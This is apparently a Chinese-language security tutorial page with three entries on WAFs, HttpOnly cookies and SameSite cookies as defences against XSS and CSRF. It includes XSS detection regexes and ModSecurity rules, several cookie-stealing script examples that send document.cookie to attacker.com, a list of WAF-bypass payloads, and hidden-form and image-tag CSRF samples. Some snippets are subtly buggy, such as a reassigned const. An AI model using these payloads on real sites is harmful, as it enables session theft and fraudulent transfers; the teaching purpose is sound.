XSS
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,它允许攻击者将恶意脚本注入到原本无害的网页中。当其他用户浏览这些已经被注入恶意脚本的网页时,嵌入其中的脚本会在用户的浏览器中被执行,攻击者可以利用这些脚本进行进一步的恶意操作,如窃取用户的会话令牌(cookies)、劫持用户会话、重定向到恶意网站或者在用户不知情的情况下进行其他攻击行为。

查看更多相关内容
什么是 WAF(Web 应用防火墙)?如何使用 WAF 防止 XSS 攻击?## 答案
WAF(Web Application Firewall,Web 应用防火墙)是一种重要的安全设备,用于保护 Web 应用免受各种攻击,包括 XSS 攻击。WAF 通过检测和过滤 HTTP 流量,可以有效地阻止 XSS 攻击。
### WAF 的基本概念
**定义:**
WAF 是一种部署在 Web 应用前面的安全设备,用于监控、过滤和阻止进出 Web 应用的 HTTP 流量。它可以帮助保护 Web 应用免受各种攻击,如 SQL 注入、XSS、CSRF 等。
**工作原理:**
1. 监控所有进入 Web 应用的 HTTP 请求
2. 分析请求的内容、头部、参数等
3. 根据预定义的规则和策略进行检测
4. 识别恶意请求并阻止或警告
5. 记录所有安全事件
### WAF 如何检测 XSS 攻击
#### 1. 签名检测
**基于已知攻击模式:**
```javascript
// WAF 规则示例
const xssPatterns = [
/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
/javascript:/gi,
/on\w+\s*=/gi,
/<iframe\b[^>]*>/gi,
/<object\b[^>]*>/gi,
/<embed\b[^>]*>/gi,
/<img\b[^>]*onerror\s*=/gi,
/<svg\b[^>]*onload\s*=/gi
];
function detectXss(input) {
for (const pattern of xssPatterns) {
if (pattern.test(input)) {
return true;
}
}
return false;
}
```
**检测流程:**
1. 接收 HTTP 请求
2. 提取请求参数、Cookie、Headers 等
3. 使用正则表达式匹配 XSS 模式
4. 如果匹配成功,阻止请求或记录警告
#### 2. 行为分析
**基于异常行为检测:**
```javascript
// WAF 行为分析示例
function analyzeBehavior(request) {
const riskScore = 0;
// 检查请求频率
if (isHighFrequencyRequest(request.ip)) {
riskScore += 30;
}
// 检查请求大小
if (request.body.length > 10000) {
riskScore += 20;
}
// 检查参数数量
if (Object.keys(request.query).length > 20) {
riskScore += 15;
}
// 检查特殊字符
if (containsSpecialChars(request.body)) {
riskScore += 25;
}
// 检查可疑的 User-Agent
if (isSuspiciousUserAgent(request.headers['user-agent'])) {
riskScore += 10;
}
return riskScore;
}
function shouldBlockRequest(request) {
const riskScore = analyzeBehavior(request);
return riskScore > 50; // 阈值
}
```
#### 3. 机器学习检测
**基于 AI/ML 的异常检测:**
```javascript
// WAF 机器学习检测示例
class XSSDetector {
constructor() {
this.model = this.loadModel();
this.threshold = 0.8;
}
loadModel() {
// 加载预训练的机器学习模型
return loadPretrainedModel('xss-detection-model');
}
detect(input) {
const features = this.extractFeatures(input);
const probability = this.model.predict(features);
return {
isMalicious: probability > this.threshold,
confidence: probability
};
}
extractFeatures(input) {
return {
length: input.length,
specialCharCount: (input.match(/[<>]/g) || []).length,
scriptTagCount: (input.match(/<script>/gi) || []).length,
eventHandlerCount: (input.match(/on\w+\s*=/gi) || []).length,
urlCount: (input.match(/https?:\/\//gi) || []).length
};
}
}
```
### WAF 的配置和规则
#### 1. ModSecurity 规则
**基础 XSS 防护规则:**
```apache
# ModSecurity 配置示例
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off
# XSS 检测规则
SecRule ARGS "@rx <script[^>]*>" \
"id:1001,phase:2,deny,status:403,msg:'XSS Attack Detected'"
SecRule ARGS "@rx javascript:" \
"id:1002,phase:2,deny,status:403,msg:'XSS Attack Detected'"
SecRule ARGS "@rx on\w+\s*=" \
"id:1003,phase:2,deny,status:403,msg:'XSS Attack Detected'"
SecRule ARGS "@rx <iframe[^>]*>" \
"id:1004,phase:2,deny,status:403,msg:'XSS Attack Detected'"
SecRule ARGS "@rx <object[^>]*>" \
"id:1005,phase:2,deny,status:403,msg:'XSS Attack Detected'"
```
#### 2. AWS WAF 规则
**使用 AWS WAF 防护 XSS:**
```json
{
"Name": "XSS-Protection-Rule",
"Priority": 1,
"Statement": [
{
"XssMatchStatement": {
"FieldToMatch": {
"QueryString": {}
},
"TextTransformations": [
{
"Type": "HTML_ENTITY_DECODE"
},
{
"Type": "CMD_LINE"
},
{
"Type": "URL_DECODE"
}
]
}
}
],
"Action": {
"Block": {}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "XSSProtectionRule"
}
}
```
#### 3. Cloudflare WAF 规则
**使用 Cloudflare WAF 防护 XSS:**
```javascript
// Cloudflare Workers 示例
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request))
})
async function handleRequest(request) {
const url = new URL(request.url)
const body = await request.text()
// XSS 检测
if (detectXSS(body)) {
return new Response('XSS Attack Detected', {
status: 403,
headers: {
'Content-Type': 'text/plain'
}
})
}
// 转发请求到源服务器
return fetch(request)
}
function detectXSS(input) {
const xssPatterns = [
/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
/javascript:/gi,
/on\w+\s*=/gi,
/<iframe\b[^>]*>/gi
]
return xssPatterns.some(pattern => pattern.test(input))
}
```
### WAF 的部署方式
#### 1. 云端 WAF
**特点:**
- 无需本地部署
- 自动更新规则
- 易于扩展
- 按使用量付费
**示例:**
- AWS WAF
- Cloudflare WAF
- Akamai WAF
- Imperva WAF
#### 2. 本地 WAF
**特点:**
- 完全控制
- 数据隐私
- 定制化配置
- 需要维护
**示例:**
- ModSecurity
- Nginx ModSecurity
- Apache ModSecurity
- OpenWAF
#### 3. 混合部署
**特点:**
- 结合云端和本地优势
- 灵活的配置
- 高可用性
**架构:**
```
用户 → 云端 WAF → 本地 WAF → Web 应用
```
### WAF 的最佳实践
#### 1. 规则管理
**定期更新规则:**
```javascript
// 自动更新 WAF 规则
async function updateWAFRules() {
const latestRules = await fetchLatestRules();
const currentRules = await getCurrentRules();
const newRules = latestRules.filter(rule =>
!currentRules.some(current => current.id === rule.id)
);
if (newRules.length > 0) {
await applyRules(newRules);
console.log(`Applied ${newRules.length} new rules`);
}
}
// 定期执行
setInterval(updateWAFRules, 24 * 60 * 60 * 1000); // 每天
```
#### 2. 监控和日志
**实时监控:**
```javascript
// WAF 监控和日志
class WAFMonitor {
constructor() {
this.events = [];
this.threshold = 100; // 每小时阈值
}
logEvent(event) {
this.events.push({
timestamp: Date.now(),
type: event.type,
ip: event.ip,
url: event.url,
details: event.details
});
this.checkThreshold();
}
checkThreshold() {
const oneHourAgo = Date.now() - 60 * 60 * 1000;
const recentEvents = this.events.filter(
event => event.timestamp > oneHourAgo
);
if (recentEvents.length > this.threshold) {
this.alert('High number of WAF events detected');
}
}
alert(message) {
// 发送警报
sendAlert(message);
}
}
```
#### 3. 性能优化
**缓存和优化:**
```javascript
// WAF 性能优化
class WAFOptimizer {
constructor() {
this.cache = new Map();
this.cacheSize = 10000;
}
checkRequest(request) {
const cacheKey = this.generateCacheKey(request);
// 检查缓存
if (this.cache.has(cacheKey)) {
return this.cache.get(cacheKey);
}
// 执行检测
const result = this.performDetection(request);
// 缓存结果
if (this.cache.size < this.cacheSize) {
this.cache.set(cacheKey, result);
}
return result;
}
generateCacheKey(request) {
return `${request.method}:${request.url}:${request.body}`;
}
performDetection(request) {
// 执行实际的 XSS 检测
return detectXSS(request.body);
}
}
```
### WAF 的局限性
#### 1. 误报和漏报
**误报问题:**
```javascript
// 误报示例
const legitimateInput = '<script>console.log("Debug")</script>';
// WAF 可能会误判为 XSS 攻击
if (detectXSS(legitimateInput)) {
// 阻止合法请求
return new Response('Request Blocked', { status: 403 });
}
```
**解决方案:**
- 白名单机制
- 例外规则
- 人工审核
- 机器学习优化
#### 2. 绕过技术
**常见的 WAF 绕过技术:**
```javascript
// 1. 编码绕过
const encodedPayload = '%3Cscript%3Ealert(1)%3C/script%3E';
// 2. 大小写绕过
const casePayload = '<ScRiPt>alert(1)</ScRiPt>';
// 3. 注释绕过
const commentPayload = '<!--><script>alert(1)</script><!-->';
// 4. 空格绕过
const spacePayload = '<img/src=x/onerror=alert(1)>';
// 5. 混淆绕过
const obfuscatedPayload = '<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>';
```
**防护措施:**
- 多层检测
- 上下文分析
- 行为分析
- 机器学习
#### 3. 性能影响
**性能问题:**
```javascript
// WAF 检测可能影响性能
function wafDetection(request) {
const startTime = Date.now();
// 执行多个检测规则
const result = performAllChecks(request);
const endTime = Date.now();
const duration = endTime - startTime;
if (duration > 100) {
console.warn(`WAF detection took ${duration}ms`);
}
return result;
}
```
**优化措施:**
- 缓存机制
- 异步检测
- 规则优化
- 硬件加速
### 实际案例分析
#### 案例 1:电商平台 WAF 部署
**问题:**
电商平台频繁遭受 XSS 攻击,导致用户数据泄露。
**解决方案:**
```javascript
// 部署 Cloudflare WAF
const cloudflare = require('cloudflare');
const waf = new cloudflare({
email: 'admin@example.com',
key: 'api-key'
});
// 创建 XSS 防护规则
async function setupXSSProtection() {
const zoneId = 'zone-id';
const rule = {
name: 'XSS Protection',
description: 'Block XSS attacks',
expression: 'http.request.body contains "<script>" or http.request.body contains "javascript:"',
action: 'block'
};
await waf.firewallRules.create(zoneId, rule);
console.log('XSS protection rule created');
}
setupXSSProtection();
```
#### 案例 2:金融行业 WAF 配置
**问题:**
金融机构需要高安全性的 WAF 配置,防止高级 XSS 攻击。
**解决方案:**
```javascript
// 高级 WAF 配置
const wafConfig = {
// 基础 XSS 防护
xssProtection: {
enabled: true,
rules: [
{
pattern: /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
action: 'block'
},
{
pattern: /javascript:/gi,
action: 'block'
},
{
pattern: /on\w+\s*=/gi,
action: 'block'
}
]
},
// 行为分析
behaviorAnalysis: {
enabled: true,
thresholds: {
requestRate: 100, // 每分钟请求数
riskScore: 50 // 风险评分阈值
}
},
// 机器学习
machineLearning: {
enabled: true,
model: 'advanced-xss-detection',
threshold: 0.8
},
// 监控和日志
monitoring: {
enabled: true,
logLevel: 'info',
alertThreshold: 100
}
};
// 应用配置
function applyWAFConfig(config) {
// 应用 XSS 防护规则
if (config.xssProtection.enabled) {
config.xssProtection.rules.forEach(rule => {
addWAFRule(rule);
});
}
// 启用行为分析
if (config.behaviorAnalysis.enabled) {
enableBehaviorAnalysis(config.behaviorAnalysis);
}
// 启用机器学习
if (config.machineLearning.enabled) {
enableMachineLearning(config.machineLearning);
}
// 启用监控
if (config.monitoring.enabled) {
enableMonitoring(config.monitoring);
}
}
applyWAFConfig(wafConfig);
```
### 总结
WAF 是防止 XSS 攻击的重要工具,它通过多种检测机制来识别和阻止恶意请求:
**WAF 的核心功能:**
1. 签名检测:基于已知攻击模式
2. 行为分析:基于异常行为检测
3. 机器学习:基于 AI/ML 的异常检测
**WAF 的最佳实践:**
1. 定期更新规则
2. 监控和日志
3. 性能优化
4. 多层防护
**WAF 的局限性:**
1. 可能产生误报和漏报
2. 可能被绕过
3. 可能影响性能
**部署建议:**
1. 根据业务需求选择合适的 WAF
2. 合理配置规则和阈值
3. 定期测试和优化
4. 结合其他安全措施(CSP、输入验证、输出编码)
通过正确部署和配置 WAF,可以有效地防止 XSS 攻击,提高 Web 应用的安全性。
前端 · 2月21日 16:27
什么是 HttpOnly Cookie?如何使用 HttpOnly Cookie 防止 XSS 攻击?## 答案
HttpOnly Cookie 是一种重要的安全机制,用于防止 XSS 攻击窃取 Cookie。它是 Cookie 的一个属性,当设置为 true 时,JavaScript 无法通过 `document.cookie` 访问该 Cookie。
### HttpOnly Cookie 的核心概念
**定义:**
HttpOnly 是 Cookie 的一个属性,当设置为 true 时,浏览器会禁止 JavaScript 访问该 Cookie,从而防止恶意脚本通过 XSS 攻击窃取 Cookie。
**基本语法:**
```javascript
// 设置 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
### HttpOnly Cookie 的工作原理
#### 1. Cookie 的基本结构
**HTTP 响应头:**
```
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Expires=Wed, 21 Oct 2025 07:28:00 GMT
```
**Cookie 属性说明:**
- `sessionId=abc123`:Cookie 的名称和值
- `HttpOnly`:禁止 JavaScript 访问
- `Secure`:只在 HTTPS 连接下发送
- `SameSite=Strict`:防止跨站请求携带 Cookie
- `Path=/`:Cookie 的有效路径
- `Expires`:Cookie 的过期时间
#### 2. HttpOnly 的作用机制
**没有 HttpOnly 的情况:**
```javascript
// JavaScript 可以访问 Cookie
const cookies = document.cookie;
console.log(cookies); // sessionId=abc123; otherCookie=value
// 恶意脚本可以窃取 Cookie
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
```
**有 HttpOnly 的情况:**
```javascript
// JavaScript 无法访问 HttpOnly Cookie
const cookies = document.cookie;
console.log(cookies); // otherCookie=value (sessionId 不会显示)
// 恶意脚本无法窃取 HttpOnly Cookie
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
// 只能窃取非 HttpOnly 的 Cookie
```
### HttpOnly Cookie 的防护效果
#### 1. 防止 Cookie 窃取
**攻击场景:**
攻击者通过 XSS 漏洞注入恶意脚本,试图窃取用户的会话 Cookie。
**没有 HttpOnly:**
```html
<!-- 攻击者在评论区注入恶意脚本 -->
<script>
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>
```
**结果:** 攻击者成功窃取所有 Cookie,包括会话 Cookie。
**有 HttpOnly:**
```html
<!-- 攻击者在评论区注入恶意脚本 -->
<script>
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>
```
**结果:** 攻击者只能窃取非 HttpOnly 的 Cookie,会话 Cookie 受到保护。
#### 2. 保护会话安全
**会话 Cookie 的正确设置:**
```javascript
// Node.js Express 示例
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // 禁止 JavaScript 访问
secure: true, // 只在 HTTPS 下发送
sameSite: 'strict', // 防止 CSRF
maxAge: 3600000 // 1小时过期
}
}));
```
### HttpOnly Cookie 的实现
#### 1. 服务器端设置
**Node.js Express:**
```javascript
// 设置 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000
});
// 使用 session 中间件
app.use(session({
secret: 'secret',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict'
}
}));
```
**PHP:**
```php
// 设置 HttpOnly Cookie
setcookie('sessionId', $sessionId, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
// 使用 session_set_cookie_params
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
```
**Python Flask:**
```python
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
resp = make_response('Login successful')
resp.set_cookie('sessionId', session_id,
httponly=True,
secure=True,
samesite='Strict')
return resp
```
**Java Spring Boot:**
```java
import javax.servlet.http.Cookie;
@GetMapping("/login")
public String login(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
response.addCookie(cookie);
return "Login successful";
}
```
#### 2. 配置示例
**Nginx 配置:**
```nginx
server {
listen 443 ssl;
server_name example.com;
location / {
proxy_set_header Set-Cookie "sessionId=$upstream_http_set_cookie; HttpOnly; Secure; SameSite=Strict";
proxy_pass http://backend;
}
}
```
**Apache 配置:**
```apache
<VirtualHost *:443>
ServerName example.com
DocumentRoot /var/www/html
Header edit Set-Cookie "(^.*; HttpOnly; Secure; SameSite=Strict)$" "$1"
</VirtualHost>
```
### HttpOnly Cookie 的最佳实践
#### 1. 所有会话 Cookie 都应设置 HttpOnly
**正确做法:**
```javascript
// 会话 Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 认证 Token
res.cookie('authToken', authToken, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
#### 2. 结合其他安全属性使用
**完整的 Cookie 安全设置:**
```javascript
res.cookie('sessionId', sessionId, {
httpOnly: true, // 防止 XSS 窃取
secure: true, // 只在 HTTPS 下发送
sameSite: 'strict', // 防止 CSRF
path: '/', // 限制路径
domain: 'example.com', // 限制域名
maxAge: 3600000 // 设置过期时间
});
```
#### 3. 区分不同类型的 Cookie
**会话 Cookie(HttpOnly):**
```javascript
// 用于身份验证的会话 Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
**功能 Cookie(非 HttpOnly):**
```javascript
// 用于前端功能的功能 Cookie(如主题偏好)
res.cookie('theme', 'dark', {
httpOnly: false, // 允许 JavaScript 访问
secure: true,
sameSite: 'lax'
});
```
### HttpOnly Cookie 的局限性
#### 1. 不能完全防止 XSS 攻击
**仍然可以进行的攻击:**
```javascript
// 即使有 HttpOnly,XSS 仍然可以:
// 1. 修改 DOM 内容
document.getElementById('content').innerHTML = '<h1>恶意内容</h1>';
// 2. 重定向用户
window.location = 'http://malicious.com';
// 3. 发送 AJAX 请求(自动携带 Cookie)
fetch('/api/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 10000 }),
credentials: 'include' // 自动携带 HttpOnly Cookie
});
// 4. 窃取其他非 HttpOnly 的 Cookie
const nonHttpOnlyCookies = document.cookie;
```
#### 2. 不能防止 CSRF 攻击
**CSRF 攻击示例:**
```html
<!-- 即使有 HttpOnly,CSRF 攻击仍然有效 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">
```
**防护 CSRF:**
```javascript
// 需要结合 SameSite Cookie 和 CSRF Token
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict' // 防止 CSRF
});
```
#### 3. 不能防止网络拦截
**中间人攻击:**
```
// 如果不使用 HTTPS,Cookie 仍然可以被拦截
// 必须设置 secure: true
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true // 强制 HTTPS
});
```
### HttpOnly Cookie 与其他防护措施的结合
#### 1. 与 Content Security Policy 结合
```javascript
// 设置 CSP
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});
// 设置 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
#### 2. 与 SameSite Cookie 结合
```javascript
// SameSite=Strict:最严格的防护
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict' // 完全防止跨站请求携带 Cookie
});
// SameSite=Lax:平衡安全性和用户体验
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax' // 允许顶级导航携带 Cookie
});
```
#### 3. 与 CSRF Token 结合
```javascript
// 设置 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 生成 CSRF Token
const csrfToken = generateCSRFToken();
res.cookie('csrfToken', csrfToken, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 在响应中返回 CSRF Token
res.json({ csrfToken });
```
### 实际案例分析
#### 案例 1:电商平台
**问题:**
电商平台没有设置 HttpOnly Cookie,导致 XSS 攻击窃取用户会话。
**攻击代码:**
```javascript
// 攻击者在商品评论区注入
<script>
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>
```
**修复方案:**
```javascript
// 设置 HttpOnly Cookie
app.use(session({
secret: 'secret',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict'
}
}));
```
#### 案例 2:在线银行
**问题:**
银行网站虽然设置了 HttpOnly Cookie,但没有设置 SameSite,仍然面临 CSRF 攻击。
**攻击代码:**
```html
<!-- CSRF 攻击 -->
<img src="http://bank.com/transfer?to=attacker&amount=10000" style="display:none;">
```
**修复方案:**
```javascript
// 完整的 Cookie 安全设置
app.use(session({
secret: 'secret',
cookie: {
httpOnly: true, // 防止 XSS
secure: true, // 强制 HTTPS
sameSite: 'strict' // 防止 CSRF
}
}));
```
### 检测和验证
#### 1. 浏览器开发者工具检查
**步骤:**
1. 打开浏览器开发者工具(F12)
2. 切换到 Application 或 Storage 标签
3. 查看 Cookies
4. 检查 HttpOnly 列是否勾选
#### 2. JavaScript 验证
**测试代码:**
```javascript
// 测试 Cookie 是否可以被 JavaScript 访问
const cookies = document.cookie;
console.log('Accessible cookies:', cookies);
// 如果会话 Cookie 不在输出中,说明 HttpOnly 生效
```
#### 3. 网络请求检查
**步骤:**
1. 打开浏览器开发者工具(F12)
2. 切换到 Network 标签
3. 发送请求
4. 查看请求头中的 Cookie
5. 检查响应头中的 Set-Cookie
### 总结
HttpOnly Cookie 是防止 XSS 攻击窃取 Cookie 的有效措施,但它不是万能的。正确使用 HttpOnly Cookie 需要注意以下几点:
**最佳实践:**
1. 所有会话 Cookie 都应设置 HttpOnly
2. 结合 secure 属性强制使用 HTTPS
3. 结合 sameSite 属性防止 CSRF 攻击
4. 区分不同类型的 Cookie,只对敏感 Cookie 设置 HttpOnly
5. 结合其他安全措施(CSP、CSRF Token 等)构建多层防御
**局限性:**
1. 不能完全防止 XSS 攻击
2. 不能防止 CSRF 攻击
3. 不能防止网络拦截
4. 不适用于需要 JavaScript 访问的 Cookie
通过正确使用 HttpOnly Cookie 并结合其他安全措施,可以有效地提高 Web 应用的安全性,防止 Cookie 窃取和会话劫持。
前端 · 2月21日 16:27
什么是 SameSite Cookie?如何使用 SameSite Cookie 防止 CSRF 和 XSS 攻击?## 答案
SameSite Cookie 属性是防止 CSRF 和 XSS 攻击的重要安全机制。它控制浏览器是否在跨站请求中发送 Cookie,从而减少攻击面。
### SameSite Cookie 的基本概念
**定义:**
SameSite 是 Cookie 的一个属性,用于控制浏览器在跨站请求中是否发送 Cookie。它可以帮助防止 CSRF 攻击,并在一定程度上减少 XSS 攻击的影响。
**基本语法:**
```javascript
// 设置 SameSite Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict' // 或 'lax' 或 'none'
});
```
### SameSite Cookie 的三种模式
#### 1. Strict 模式
**定义:**
Strict 模式是最严格的 SameSite 策略。浏览器只会在同站请求(Same-Site)中发送 Cookie,跨站请求(Cross-Site)不会发送 Cookie。
**使用场景:**
- 需要最高安全性的场景
- 银行、金融等敏感应用
- 不需要跨站访问的应用
**示例:**
```javascript
// 设置 Strict 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
**行为:**
```
同站请求(Same-Site):
- https://example.com/page1 → https://example.com/page2
- Cookie 会被发送 ✓
跨站请求(Cross-Site):
- https://attacker.com → https://example.com/api
- Cookie 不会被发送 ✗
```
#### 2. Lax 模式
**定义:**
Lax 模式是相对宽松的 SameSite 策略。浏览器在同站请求和某些安全的跨站导航请求中发送 Cookie,但在大多数跨站请求中不发送 Cookie。
**使用场景:**
- 需要平衡安全性和用户体验的场景
- 电商、社交媒体等应用
- 需要跨站导航的应用
**示例:**
```javascript
// 设置 Lax 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
```
**行为:**
```
同站请求(Same-Site):
- https://example.com/page1 → https://example.com/page2
- Cookie 会被发送 ✓
安全的跨站导航(Top-Level Navigation):
- 用户点击链接:https://attacker.com → https://example.com/page
- Cookie 会被发送 ✓
不安全的跨站请求:
- https://attacker.com 中的 <img> 标签请求 https://example.com/api
- Cookie 不会被发送 ✗
- https://attacker.com 中的 fetch 请求 https://example.com/api
- Cookie 不会被发送 ✗
```
#### 3. None 模式
**定义:**
None 模式是最宽松的 SameSite 策略。浏览器在所有请求(包括跨站请求)中都会发送 Cookie。
**使用场景:**
- 需要跨站访问的应用
- 第三方集成应用
- 需要在 iframe 中访问的应用
**示例:**
```javascript
// 设置 None 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true, // None 模式必须设置 secure
sameSite: 'none'
});
```
**行为:**
```
所有请求:
- 同站请求:Cookie 会被发送 ✓
- 跨站请求:Cookie 会被发送 ✓
- iframe 中的请求:Cookie 会被发送 ✓
```
### SameSite Cookie 的实现
#### 1. 服务器端设置
**Node.js Express:**
```javascript
// 设置 SameSite Cookie
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict' // 或 'lax' 或 'none'
}
}));
// 单独设置 Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
**PHP:**
```php
// 设置 SameSite Cookie
setcookie('sessionId', $sessionId, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict' // 或 'Lax' 或 'None'
]);
```
**Python Flask:**
```python
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
resp = make_response('Login successful')
resp.set_cookie('sessionId', session_id,
httponly=True,
secure=True,
samesite='Strict') # 或 'Lax' 或 'None'
return resp
```
**Java Spring Boot:**
```java
import javax.servlet.http.Cookie;
@GetMapping("/login")
public String login(HttpServletResponse response) {
Cookie cookie = new Cookie("sessionId", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setAttribute("SameSite", "Strict"); // 或 "Lax" 或 "None"
response.addCookie(cookie);
return "Login successful";
}
```
#### 2. 配置示例
**Nginx 配置:**
```nginx
server {
listen 443 ssl;
server_name example.com;
location / {
proxy_set_header Set-Cookie "sessionId=$upstream_http_set_cookie; HttpOnly; Secure; SameSite=Strict";
proxy_pass http://backend;
}
}
```
**Apache 配置:**
```apache
<VirtualHost *:443>
ServerName example.com
DocumentRoot /var/www/html
Header edit Set-Cookie "(^.*; HttpOnly; Secure; SameSite=Strict)$" "$1"
</VirtualHost>
```
### SameSite Cookie 与 CSRF 防护
#### 1. 防止 CSRF 攻击
**攻击场景:**
```html
<!-- 攻击者构造的恶意页面 -->
<html>
<body>
<form action="http://bank.com/transfer" method="POST" style="display:none;">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
**SameSite=Strict 防护:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 攻击结果:
// - 恶意页面发起的跨站 POST 请求
// - 浏览器不会发送 Cookie
// - 攻击失败 ✓
```
**SameSite=Lax 防护:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
// 攻击结果:
// - 恶意页面发起的跨站 POST 请求
// - 浏览器不会发送 Cookie
// - 攻击失败 ✓
```
#### 2. 允许安全的跨站导航
**SameSite=Lax 的优势:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
// 用户行为:
// - 用户在邮件中点击链接:https://example.com/page
// - 这是安全的跨站导航(Top-Level Navigation)
// - 浏览器会发送 Cookie
// - 用户正常访问 ✓
```
### SameSite Cookie 与 XSS 防护
#### 1. 减少 XSS 攻击的影响
**攻击场景:**
```javascript
// 攻击者通过 XSS 注入恶意脚本
<script>
fetch('http://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'attacker', amount: 10000 }),
credentials: 'include'
});
</script>
```
**SameSite=Strict 防护:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 攻击结果:
// - XSS 脚本发起的跨站请求(从攻击者的网站)
// - 浏览器不会发送 Cookie
// - 攻击失败 ✓
```
**SameSite=Lax 防护:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
// 攻击结果:
// - XSS 脚本发起的跨站请求(从攻击者的网站)
// - 浏览器不会发送 Cookie
// - 攻击失败 ✓
```
#### 2. 限制同站 XSS 的影响
**SameSite 的局限性:**
```javascript
// 服务器端设置
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
// 攻击场景:
// - 攻击者在同站页面注入 XSS
// - XSS 脚本发起同站请求
// - 浏览器会发送 Cookie
// - 攻击可能成功 ✗
```
**解决方案:**
```javascript
// 结合 HttpOnly Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true, // 防止 JavaScript 访问 Cookie
secure: true,
sameSite: 'strict'
});
// 结合 Content Security Policy
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline';"
);
next();
});
```
### SameSite Cookie 的最佳实践
#### 1. 根据应用类型选择模式
**高安全性应用(银行、金融):**
```javascript
// 使用 Strict 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
```
**一般应用(电商、社交媒体):**
```javascript
// 使用 Lax 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'lax'
});
```
**需要跨站访问的应用(第三方集成):**
```javascript
// 使用 None 模式
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true, // 必须设置
sameSite: 'none'
});
```
#### 2. 结合其他安全措施
**多层防护:**
```javascript
// 1. 设置 SameSite Cookie
res.cookie('sessionId', sessionId, {
httpOnly: true,
secure: true,
